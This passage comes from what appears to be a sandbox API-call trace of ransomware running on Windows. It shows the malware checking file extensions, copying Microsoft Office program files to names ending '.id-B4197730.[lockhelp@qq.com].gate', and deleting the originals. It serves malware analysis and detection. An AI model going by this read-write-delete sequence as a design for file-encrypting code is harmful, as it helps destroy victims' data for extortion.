Solids.eftx") returned 90 [0303.063] lstrlenW (lpString=".zip") returned 4 [0303.063] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0303.063] lstrlenW (lpString=".rar") returned 4 [0303.063] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0303.063] lstrlenW (lpString=".bz2") returned 4 [0303.063] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0303.063] lstrlenW (lpString=".7z") returned 3 [0303.063] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0303.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0303.063] lstrlenW (lpString=".dbf") returned 4 [0303.063] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0303.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0303.063] lstrlenW (lpString=".1cd") returned 4 [0303.063] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0303.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90 [0303.064] lstrlenW (lpString=".jpg") returned 4 [0303.064] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0306.545] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.545] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0306.549] GetLastError () returned 0x0 [0306.549] ReadFile (in: hFile=0x4f8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x221, lpOverlapped=0x0) returned 1 [0306.550] WriteFile (in: hFile=0x4f0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x230, lpOverlapped=0x0) returned 1 [0306.551] ReadFile (in: hFile=0x4f8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0306.551] WriteFile (in: hFile=0x4f0, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x10c, lpOverlapped=0x0) returned 1 [0306.551] SetEndOfFile (hFile=0x4f0) returned 1 [0306.551] CloseHandle (hObject=0x4f0) returned 1 [0306.551] SetFilePointerEx (in: hFile=0x4f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0306.551] SetEndOfFile (hFile=0x4f8) returned 1 [0306.646] CloseHandle (hObject=0x4f8) returned 1 [0306.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0306.774] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\appvopcservices.dll.manifest")) returned 1 [0306.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0306.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0306.793] lstrlenW (lpString=".doc") returned 4 [0306.793] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0306.793] lstrlenW (lpString=".docx") returned 5 [0306.793] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0306.793] lstrlenW (lpString=".pdf") returned 4 [0306.793] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0306.793] lstrlenW (lpString=".xls") returned 4 [0306.793] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0306.793] lstrlenW (lpString=".xlsx") returned 5 [0306.793] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0306.793] lstrlenW (lpString=".ppt") returned 4 [0306.793] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0306.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0306.794] lstrlenW (lpString=".zip") returned 4 [0306.794] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0306.794] lstrlenW (lpString=".rar") returned 4 [0306.794] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0306.794] lstrlenW (lpString=".bz2") returned 4 [0306.794] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0306.794] lstrlenW (lpString=".7z") returned 3 [0306.794] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0306.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0306.794] lstrlenW (lpString=".dbf") returned 4 [0306.794] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0306.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0306.794] lstrlenW (lpString=".1cd") returned 4 [0306.794] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0306.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\AppVOpcServices.dll.manifest") returned 77 [0306.794] lstrlenW (lpString=".jpg") returned 4 [0306.794] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0306.924] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=96472) returned 1 [0306.924] CloseHandle (hObject=0x538) returned 1 [0306.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll")) returned 0x220 [0306.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0306.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.eventing.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0306.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0306.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0306.924] lstrlenW (lpString=".doc") returned 4 [0306.924] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.924] lstrlenW (lpString=".docx") returned 5 [0306.924] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1 [0306.924] lstrlenW (lpString=".pdf") returned 4 [0306.924] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.924] lstrlenW (lpString=".xls") returned 4 [0306.924] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.925] lstrlenW (lpString=".xlsx") returned 5 [0306.925] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1 [0306.925] lstrlenW (lpString=".ppt") returned 4 [0306.925] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0306.925] lstrlenW (lpString=".zip") returned 4 [0306.925] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.925] lstrlenW (lpString=".rar") returned 4 [0306.925] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.925] lstrlenW (lpString=".bz2") returned 4 [0306.925] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.925] lstrlenW (lpString=".7z") returned 3 [0306.925] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0306.925] lstrlenW (lpString=".dbf") returned 4 [0306.925] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0306.925] lstrlenW (lpString=".1cd") returned 4 [0306.925] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Eventing.dll") returned 76 [0306.925] lstrlenW (lpString=".jpg") returned 4 [0306.925] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0306.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0306.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0306.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0306.928] lstrlenW (lpString=".doc") returned 4 [0306.928] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0306.928] lstrlenW (lpString=".docx") returned 5 [0306.928] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0306.928] lstrlenW (lpString=".pdf") returned 4 [0306.928] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0306.928] lstrlenW (lpString=".xls") returned 4 [0306.928] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0306.928] lstrlenW (lpString=".xlsx") returned 5 [0306.928] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0306.928] lstrlenW (lpString=".ppt") returned 4 [0306.928] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0306.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0306.928] lstrlenW (lpString=".zip") returned 4 [0306.928] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0306.928] lstrlenW (lpString=".rar") returned 4 [0306.929] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0306.929] lstrlenW (lpString=".bz2") returned 4 [0306.929] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0306.929] lstrlenW (lpString=".7z") returned 3 [0306.929] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0306.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0306.929] lstrlenW (lpString=".dbf") returned 4 [0306.929] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0306.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0306.929] lstrlenW (lpString=".1cd") returned 4 [0306.929] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0306.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0306.929] lstrlenW (lpString=".jpg") returned 4 [0306.929] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0309.175] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=615304) returned 1 [0309.175] CloseHandle (hObject=0x564) returned 1 [0309.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220 [0309.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0309.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0309.319] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.319] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0309.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0312.495] GetLastError () returned 0x0 [0312.495] ReadFile (in: hFile=0x4c0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x96388, lpOverlapped=0x0) returned 1 [0313.102] WriteFile (in: hFile=0x414, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x96390, lpOverlapped=0x0) returned 1 [0313.112] ReadFile (in: hFile=0x4c0, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0313.113] WriteFile (in: hFile=0x414, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x10e, lpOverlapped=0x0) returned 1 [0313.113] SetEndOfFile (hFile=0x414) returned 1 [0313.113] CloseHandle (hObject=0x414) returned 1 [0313.113] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0313.113] SetEndOfFile (hFile=0x4c0) returned 1 [0313.126] CloseHandle (hObject=0x4c0) returned 1 [0313.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0313.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1 [0313.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0313.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0313.127] lstrlenW (lpString=".doc") returned 4 [0313.127] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0313.127] lstrlenW (lpString=".docx") returned 5 [0313.127] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0313.127] lstrlenW (lpString=".pdf") returned 4 [0313.127] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0313.127] lstrlenW (lpString=".xls") returned 4 [0313.127] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0313.127] lstrlenW (lpString=".xlsx") returned 5 [0313.127] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0313.127] lstrlenW (lpString=".ppt") returned 4 [0313.127] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0313.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0313.127] lstrlenW (lpString=".zip") returned 4 [0313.127] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0313.128] lstrlenW (lpString=".rar") returned 4 [0313.128] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0313.128] lstrlenW (lpString=".bz2") returned 4 [0313.128] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0313.128] lstrlenW (lpString=".7z") returned 3 [0313.128] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0313.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0313.128] lstrlenW (lpString=".dbf") returned 4 [0313.128] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0313.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0313.128] lstrlenW (lpString=".1cd") returned 4 [0313.128] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0313.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0313.128] lstrlenW (lpString=".jpg") returned 4 [0313.129] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0313.877] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=19932) returned 1 [0313.877] CloseHandle (hObject=0x50c) returned 1 [0313.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0313.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0313.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0313.962] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0313.962] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0313.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0313.963] GetLastError () returned 0x0 [0313.963] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x4ddc, lpOverlapped=0x0) returned 1 [0314.162] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x4de0, lpOverlapped=0x0) returned 1 [0314.163] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x0, lpOverlapped=0x0) returned 1 [0314.163] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x110, lpOverlapped=0x0) returned 1 [0314.163] SetEndOfFile (hFile=0x4c4) returned 1 [0314.345] CloseHandle (hObject=0x4c4) returned 1 [0314.347] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.347] SetEndOfFile (hFile=0x4b8) returned 1 [0314.349] CloseHandle (hObject=0x4b8) returned 1 [0314.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0314.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0314.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0314.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0314.350] lstrlenW (lpString=".doc") returned 4 [0314.350] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0314.350] lstrlenW (lpString=".docx") returned 5 [0314.350] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0314.350] lstrlenW (lpString=".pdf") returned 4 [0314.350] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0314.351] lstrlenW (lpString=".xls") returned 4 [0314.351] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0314.351] lstrlenW (lpString=".xlsx") returned 5 [0314.351] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0314.351] lstrlenW (lpString=".ppt") returned 4 [0314.351] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0314.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0314.351] lstrlenW (lpString=".zip") returned 4 [0314.351] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0314.351] lstrlenW (lpString=".rar") returned 4 [0314.351] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0314.351] lstrlenW (lpString=".bz2") returned 4 [0314.351] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0314.351] lstrlenW (lpString=".7z") returned 3 [0314.351] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0314.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0314.351] lstrlenW (lpString=".dbf") returned 4 [0314.351] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0314.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0314.351] lstrlenW (lpString=".1cd") returned 4 [0314.351] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0314.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0314.351] lstrlenW (lpString=".jpg") returned 4 [0314.351] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0314.352] GetFileSizeEx (in: hFile=0x4b8, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=11591) returned 1 [0314.352] CloseHandle (hObject=0x4b8) returned 1 [0314.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms")) returned 0x220 [0314.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0314.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0314.352] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.352] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39ffec0 | out: lpNewFilePointer=0x0) returned 1 [0314.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ul-oob.xrm-ms.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ul-oob.xrm-ms.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0314.355] GetLastError () returned 0x0 [0314.355] ReadFile (in: hFile=0x4b8, lpBuffer=0x43e3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x39ffecc, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesRead=0x39ffecc*=0x2d47, lpOverlapped=0x0) returned 1 [0314.507] WriteFile (in: hFile=0x4c4, lpBuffer=0x43e3020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x39ffc94, lpOverlapped=0x0 | out: lpBuffer=0x43e3020*, lpNumberOfBytesWritten=0x39ffc94*=0x2d50, 